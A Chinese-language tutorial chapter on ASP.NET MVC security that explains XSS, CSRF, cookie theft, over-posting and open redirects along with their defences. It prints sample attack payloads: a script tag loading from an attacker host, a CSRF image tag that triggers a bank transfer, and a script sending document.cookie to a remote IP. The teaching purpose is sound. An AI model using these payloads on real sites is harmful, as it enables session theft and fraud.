Web 应用程序中的安全向量 – ASP.NET MVC 4 系列
Web 程序运行在标准的、基于文本的协议(HTTP 和 HTML)之上,所以特别容易受到自动攻击的伤害。本章主要介绍黑客如何滥用应用程序,以及针对这些问题的应对措施。
威胁:跨站脚本攻击(XSS)
XSS 攻击在 Web安全威胁上排名第一,然而遗憾的是,导致 XSS 猖獗的主要原因是开发人员不熟悉这种攻击。可以使用 2 种方法实现 XSS:
- 被动注入(Passive Injection):通过用户将恶意的脚本命令输入到网站中,而这些网站又能接收“不干净”(unsanitized)的用户输入。
- 主动注入(Active Injection):直接在页面上显示的用户输入。
被动注入中,用户把不干净的内容输入到文本框中,并保存到数据库,以后再重新显示在页面中;主动注入中,用户输入的内容立刻就会在屏幕上显示出来。这 2 种方式都会造成极大危害。
被动注入(Passive Injection)
XSS 通过向接收用户输入的网站中注入脚本代码来实现,一个典型的例子就是博客,它允许用户提交自己的评论。我们知道,博客表单通常会有 4 个文本元素:姓名、e-mail 地址、评论、URL。类似这样的表单会让 XSS 黑客垂涎三尺,理由有两个,首先,他们知道表单中提交的输入内容会在站点上显示;其次,他们知道编码 URL 很麻烦,且开发人员一般会把这些 URL 作为锚标记的一部分,通常情况下不会对这些内容进行必要检查。
攻击者首先查看站点是否对输入元素上的特定字符进行了编码,由其是 URL 字段可能存在注入脚本的可能性。为了说明这一点,我们输入如下 URL:
Your Home URL:No blog!Sorry:<
这不是直接攻击,只是在 URL 中放入了一个“<”符号,如果对 URL 进行了 HTML 编码,URL 中的 “<”符号会被“<”替换,因此,要知道是否对 URL 进行了 HTML 编码,只需查看 URL 中的“<”是否被替换即可。下面提交评论,结果一切正常。
尽管这样看起来没什么不妥之处,但是这已经向黑客暗示注入脚本是可能的,这里没有对 URL 的验证机制,如果查看页面的源代码,黑客们就会萌生强烈的 XSS 攻击想法:
<a href="No blog! Sorry:">Bob</a> // 笔者的意思是,先前如果输入了正确的博客主页地址,那么这里点击人名Bob,应该会导航至Bob的博客
虽然这个危害看起来并不危险,但从黑客的角度看却能造成很大危害。向 URL 字段输入下面内容,看看会出现什么情况:
"><iframe src="http://haha.juvenilelamepranks.example.com" height="400" width=500/>
这行脚本会关闭不受保护的锚标签,并同时强制网站加载了一个 iframe,但如果这样向一个网站发起攻击,是极其愚蠢的,这只会提醒网站管理员修补漏洞。
如果真正的隐形黑客,就应该像下面这样:
"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="
这行脚本代码为了不破坏页面流而注入了一个JS脚本标签,在关闭锚标记的同时又打开了另一个锚标记,这才是绝顶聪明的做法!即使将鼠标悬停在名称上,也不会看到注入的脚本标签,因为这是一个空的锚标记!当任意用户访问到该HTML页面时,恶意的网站会输出恶意的JS代码,执行一些恶意操作,比如将用户的 cookies 或数据发送到黑客自己的网站中。
上面的注入攻击最终生成的 HTML 代码如下图:
阻止 XSS
1. 对所有内容进行 HTML 编码。大部分情况下使用简单的 HTML 编码就可以避免 XSS,服务器通过这个过程将 HTML 保留字符(<、>等)替换为对应编码。而对于 ASP.NET MVC 而言,只需在视图中使用 Html.Encode 或 Html.AttributeEncode 方法就可实现对特性值的编码替换。页面上每一点输出都应该是经过 HTML 编码或 HTML 特性编码的!Razor 视图引擎默认对输出内容采用 HTML 编码,这带来了极大的方便和安全。
2. 除了关注页面上的 HTML 输出,保护那些在 HTML 动态设置的特性也是非常重要的。
3. 进行 JavaScript 编码。只使用 HTML 编码所有内容是不够的,这并不能阻止 JavaScript 的执行。下面经 HTML 编码的 URL 仍然有漏洞,将会弹出一个警告框:
http://localhost:1337/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e
黑客可以利用十六进制转义码随意的向输入内容中插入 JS 脚本代码,真正恶意的黑客不会弹出警告,而是盗取用户信息或将用户重定向。
威胁:跨站请求伪造(Cross-Site Request Forgery,CSRF)
CSRF 攻击要比简单的 XSS 攻击更具危险性。为了充分理解 CSRF 的概念,我们将其分为两部分阐述,分别是 XSS 和混淆代理(confused deputy)。
混淆代理是一个计算机程序,它被其它部分程序无辜的愚弄,以至于错误的使用自己的权限,它是特权扩大(privilege escalation)的一个具体类型。在此类情形下,代理就是用户的浏览器,受到了愚弄以至于误用其权限,将用户呈现给远程的网站。
假设正在构建一个外观精美的网站,允许用户登录和退出,以及在站点中进行权限内的任何操作。在 AccountController 控制器中,Login 操作尽量保持简单,然后再在其中添加一个 Logout 操作删除登录用户的信息:
public ActionResult Logout()
{
FormsAuth.SignOut();
return RedirectToAction("Index", "Home");
}
假设允许输入白名单中有限的 HTML(一个可接受的标签或字符的列表)作为评论系统的一部分,大部分的 HTML 都经过了精简和净化,但是因为允许用户发布截图,因此对图片不加限制。如果有一天,某人在评论中添加了这个稍带恶意的 HTML 图片标签:
<img src="/account/logout" />
现在一旦有人访问了该页面,浏览器就会自动请求这张图片,之后就会退出站点。这未必是一个 CSRF 攻击,却展示了如何在用户不知情的情况下,挂羊头卖狗肉的欺骗浏览器向任意指定的站点发出 GET 请求!
CSRF 攻击是基于浏览器的工作方式运作的。在登录到一个站点后,信息将以 cookie 形式存储到浏览器中,可能是内存中的 cookie(会话 cookie),也可能是写到硬盘里更为持久的 cookie。通过这两种 cookie 中的任意一种,浏览器会告诉站点这是一个真实用户发出的请求。
下面来看一个真实的 CSRF 攻击例子,从黑客的角度看,CSRF 攻击能产生很大的破坏,且与站点用户之间的游戏是一场实力不均衡的较量。由于 Big Massive Site 站点每天有近 5 千万的请求,所以局势有利于黑客一方。现在来阐述游戏的本质,查找可以对站点的安全漏洞做哪些操作,如链接评论,在网上冲浪时尝试各种事物,积累了一个“广泛使用的在线银行站点”列表,这些银行站点都可以支持在线转账和账单支付,经过研究,了解了这些银行站点响应转账请求的原理,我们会发现有一种方式存在非常严重的安全漏洞(转账标识在 URL 中),如下所示:
这种标识方法简直愚蠢之极,哪家银行会这样做?遗憾的是,这个问题的答案不是一家银行而是很多家银行在做,原因很简单,Web 开发人员过份信任浏览器。上面的 URL 依赖于这样的假设:服务器将会使用来自会话 cookie 的信息来验证用户的身份和账户,这个假设并不坏,会话 cookie 中的信息可以避免每次请求时都要重新登录,因此浏览器必须记住一些信息!
上面还有一些内容没有讨论到,需要使用一些社会工程方面的知识,以黑客的身份登录到 Big Massive Site 站点,将如下内容作为评论输入到其中一个主页面上:
Hey, did you know that if you're a Widely Used Bank customer the sum of the digits of your account number add up to 30? It's true! Have a look: http://www.widelyusedbank.example.com." // 设套,让用户便捷的点击去向银行的链接,诱使用户登录银行系统
然后退出 Big Massive Site 站点,并用第二个假账户再次登录站点,以不同名称的虚构用户在上面的“种子”评论后留言:
"OMG you're right! How weird!<img src="http://widelyusedbank.example.com?function=transfer&amount=1000&toaccountnumber=6214850210491368&from=checking" />.
// 第一次浏览并不会出事,登录过银行系统后,再回到这里或者切回页面发出评论时,这次的请求会进行转账
Widely Used Bank 的客户看到评论后,很可能就会登录他们的账户,并计算账号数字的累加和。如果计算之后发现不等于 30,他们就会回到 Big Massive Site,再次阅读评论(或留下自己的评论,“不对,我的累加和不是 30”)。
遗憾的是,Perfect Victim(受害者)的浏览器仍然把他的登录会话信息保存在内存中,也就是说他仍处于登录状态!当他浏览到带有 CSRF 攻击的页面时,CSRF 页面就会向银行站点发出一个转账的请求,钱就“完美”的丢失了。
在评论中带有 CSRF 攻击的链接图片将作为一个不完整的红 X 来渲染,但大部分人会把它看成一个损坏的头像或表情符号。事实上,这是一个骗取现金的混淆代理攻击。这种攻击不仅仅局限于简单图像标签/GET请求的欺骗,还可以很好的扩展到垃圾邮件的传播,向人们发送虚假链接,并费尽周折的让人们点击链接,当进入他的站点后,隐藏的 iframe 或一些脚本将自动使用 HTTP POST 请求向银行提交一个表单,试图转账。如果此时恰好有一个客户在未退出银行网站的情况下点击了这个链接,那么这次攻击就会成功。
阻止 CSRF 攻击
1. ASP.NET MVC 框架提供了一个阻止 CSRF 攻击的好方法,它通过验证用户是否资源的向站点提交数据来达到防御攻击的目的。实现这一方法最简单的方式,就是在每一个表单请求中插入一个包含唯一值的隐藏输入元素:
<form action="/account/register" method="post">
<!-- 生成一个隐藏的窗体字段(防伪标记),在提交窗体时将验证此字段 -->
@Html.AntiForgeryToken()
......
</form>
上述代码会生成例如:
<input name="__RequestVerificationToken" type="hidden" value="zLQwGy3GarHp4wOyPx1sLYrfPfVHtjkCxDWkP54V4krJUXX7SY3HCHsUT5UCqPZK31IuATa7iUejEGJdA7fN1JvnmVix_fjgOg3xu64e2fg1" />
该值将与作为会话 cookie 存储在用户浏览器中的另一个值相匹配,在提交表单时,ActionFilter 就会验证这两个值是否匹配:
2. 使用 ActionFilter 进行 HttpReferrer 验证,可查看提交表单值的客户端是否确实在目标站点上:
public class IsPostedFromThisSiteAttribute : AuthorizeAttribute
{
public override void OnAuthorization(AuthorizationContext filterContext)
{
if (filterContext != null)
{
if (filterContext.HttpContext.Request.UrlReferrer == null)
{
throw new System.Web.HttpException("Invalid submission");
}
if (filterContext.HttpContext.Request.UrlReferrer.Host != "mySiteName")
{
throw new System.Web.HttpException("This form wasn't submitted from this site!");
}
}
}
}
[IsPostedFromThisSite]
public ActionResult Register(RegisterModel model)
威胁:cookie 盗窃
cookie 是一种增加 Web 可用性方法,大部分网站在用户登录后都使用 cookie 来识别用户身份。如果没有 cookie,用户将一次又一次的登录网站,但如果攻击者盗窃了 cookie,就可以冒充用户身份在网站上进行操作。
cookie 中一些信息是无关紧要的,像站点偏好和站点历史等,但用于确认用户身份的信息却非常重要,比如 ASP.NET 的表单验证票据(ASP.NET Forms Authentication Ticket),cookie主要有 2 种形式:
- 会话 cookie:存储在浏览器的内存中。
- 持久性 cookie:存储于计算机硬盘内的实际文本文件中。
两种 cookie 都会在每一次的请求中通过 HTTP 头信息进行传递。如果能窃取某人在一个网站上的身份验证 cookie,就可以轻易的冒充他。这种攻击实际上非常简单,它依赖于 XSS 漏洞,攻击者需要在目标站点上注入一些脚本,才能窃取 cookie。比如在某些评论中,注入了一些精心构建的 URL,最后渲染的代码会加载和执行来自远程服务器的脚本,JS代码如下:
window.location = "http://1.2.3.4:81/r.php?u="
+ document.links[1].text
+ "&l=" + document.links[1]
+ "&c=" + document.cookie;
这样攻击者就可以迅速的盗窃到用户的 cookie。
可以使用 HttpOnly 组织 cookie 盗窃。事实上,可以停止脚本对站点中 cookie 的访问,只需要设置一个简单标志 HttpOnly 即可:
<httpCookies domain="" httpOnlyCookies="true" requireSSL="false"/> // web.config 中设置
Response.Cookies["MyCookie"].Value = "Remembering you...";
Response.Cookies["MyCookie"].HttpOnly = true; // 程序中为编写的每个 cookie 单独设置。
这个标志的设置会告诉浏览器,除了服务器修改或设置 cookie 之外,其他一些对 cookie 的操作均无效。这样做很简单,却可以阻止大部分基于 XSS 的 cookie 问题,同时因为脚本很少需要访问 cookie,所以此功能经常被使用。
威胁:重复提交
模型绑定通过重复提交呈现了另一种攻击媒介。下面列举一个允许用户提交评价意见的商店商品页面:
public class Review
{
public int ReviewID { get; set; }
public int ProductID { get; set; }
public Product Product { get; set; }
public string Name { get; set; }
public string Comment { get; set; }
public bool Approved { get; set; }
}
向用户展示一个简单的表单,只包含 Name 和 Comment 两个字段:
Name: @Html.TextBox("Name") <br />
Comment: @Html.TextBox("Comment")
我们并不希望用户能够自己审核通过自己的评论,然而,存在大量的 Web 开发工具可供恶意用户向查询字符串或提交的表单数据中添加“Approved=true”,从而实现干预表单提交。但模型绑定器并不知道提交的表单中包含哪些字段,并且还会将 Approved 设置为 true。更糟的是,由于 Review 类中有一个 Product 属性,因此,黑客还可以尝试提交一些如 Product.Price 的字段值,这些修改均超出了用户的操作权限。
防御重复提交攻击的最简单方式,就是使用 Bind 特性显式的控制需要由模型绑定器绑定的属性。Bind 特性可以使用在模型类上,也可以放在控制器操作上。可以使用白名单指定允许绑定的字段,也可以使用黑名单禁止绑定的字段,通常白名单会更安全(不容易搞错)。
[Bind(Include = "Name,Comment")]
[Bind(Exclude = "Product,Approved")] // 通常只用上面的白名单
public class Review
威胁:开放重定向(Open Redirection Attack)
那些通过请求(如查询字符串和表单数据)指定重定向 URL 的 Web 应用程序可能会被篡改,而把用户重定向到外部的恶意网站 URL,这种篡改就被称为重定向攻击。
攻击者知道用户要登录的网站,这使得用户极容易受到钓鱼攻击(phishing attack),所以开放重定向非常危险。例如,攻击者向站点用户发送恶意的电子邮件试图捕获他们的密码。首先向用户发送一个链接:
http://nerddinner.com/Account/LogOn?returnUrl=http://nerddiner.com/Account/LogOn
注意,返回的 URL 是攻击者控制的域(少了一个'n'),当用户访问时,会链接到合法的站点进行登录,成功后会被导航至攻击者的站点,除非非常警惕,否则很难察觉到这是伪造的登录页面,攻击者精心设计了一样的登录页面,并在页面包含一个错误信息,要求用户重新登录,此时被愚弄的用户还以为刚才自己输错了密码,当再次重新输入后,攻击者的站点会记录这些信息,再次把用户重定向到合法的站点,此时,合法站点由于先前已经通过验证,最终,攻击者拥有了用户的用户名和密码,而用户却不知道自己已经把这些信息提供给他们了。
MVC1 和 MVC2 中 LogOn 的实现就返回一个重定向到 returnUrl,从下面代码可以看出没有对 returnUrl 参数进行任何验证:
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
if (...)// 做些验证
{
return Redirect(returnUrl);
}
return View(model);
}
MVC4 应用程序修改了 Login 操作,并对 returnUrl 参数进行验证:
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public ActionResult Login(LoginModel model, string returnUrl)
{
if (ModelState.IsValid && WebSecurity.Login(model.UserName, model.Password, persistCookie: model.RememberMe))
{
return RedirectToLocal(returnUrl);
}
// 如果我们进行到这一步时某个地方出错,则重新显示表单
ModelState.AddModelError("", "提供的用户名或密码不正确。");
return View(model);
}
private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl)) // 返回一个值,该值指示 URL 是否为本地 URL
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Index", "Home");
}
}
// 实际上,IsLocalUrl 方法内部调用了 System.Web.WebPages 的方法,因为 ASP.NET Web Pages 应用程序也要采用这种验证方式
public bool IsLocalUrl(string url)
{
return System.Web.WebPages.RequestExtensions.IsUrlLocalToHost(Request, url);
}
ASP.NET 安全威胁及解决方案总结
威胁 |
解决方法 |
自满 | 自我训练,假设程序将被攻击,记住:保护好自己的数据最重要 |
夸张脚本攻击(XSS) | 使用 HTML 编码所有内容。编码特性。记住 JavaScript 编码。如有可能,使用 AntiXSS 类 |
跨站请求伪造(CSRF) | 令牌验证。幂等的 GET 请求。HttpReferrer 验证。 |
重复提交 | 使用 Bind 特性显式地绑定白名单或拒绝黑名单 |
重定向攻击 | 验证是否是本地 URL |